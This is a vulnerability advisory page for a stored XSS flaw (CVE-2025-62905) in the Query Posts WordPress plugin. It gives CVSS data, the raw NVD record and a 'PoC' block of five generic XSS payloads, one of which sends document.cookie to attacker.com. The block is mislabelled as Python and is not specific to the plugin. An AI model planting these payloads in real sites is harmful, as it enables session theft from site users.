Security Vulnerability Report
中文
CVE-2025-62905 CVSS 6.5 MEDIUM

CVE-2025-62905

Published: 2025-10-27 02:15:50
Last Modified: 2026-04-27 18:16:29

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Justin Tadlock Query Posts query-posts allows Stored XSS.This issue affects Query Posts: from n/a through <= 0.3.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Query Posts <= 0.3.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-62905 --> <!-- Attack vector: Inject malicious script in Query Posts plugin input fields --> <!-- Method 1: Using script tag --> <script>alert(document.cookie)</script> <!-- Method 2: Using img tag with onerror --> <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Method 3: Using SVG tag --> <svg onload=eval(atob('YWxlcnQoJ1hTUycp'))> <!-- Method 4: Using event handler --> <body onload=alert('XSS')> <!-- Method 5: Using iframe --> <iframe src="javascript:alert('XSS')"> <!-- Attacker can store these payloads in plugin's query parameters or content fields --> <!-- When admin or other users view the page, the script executes in their browser -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62905", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:49.750", "lastModified": "2026-04-27T18:16:29.230", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Justin Tadlock Query Posts query-posts allows Stored XSS.This issue affects Query Posts: from n/a through <= 0.3.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/query-posts/vulnerability/wordpress-query-posts-plugin-0-3-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}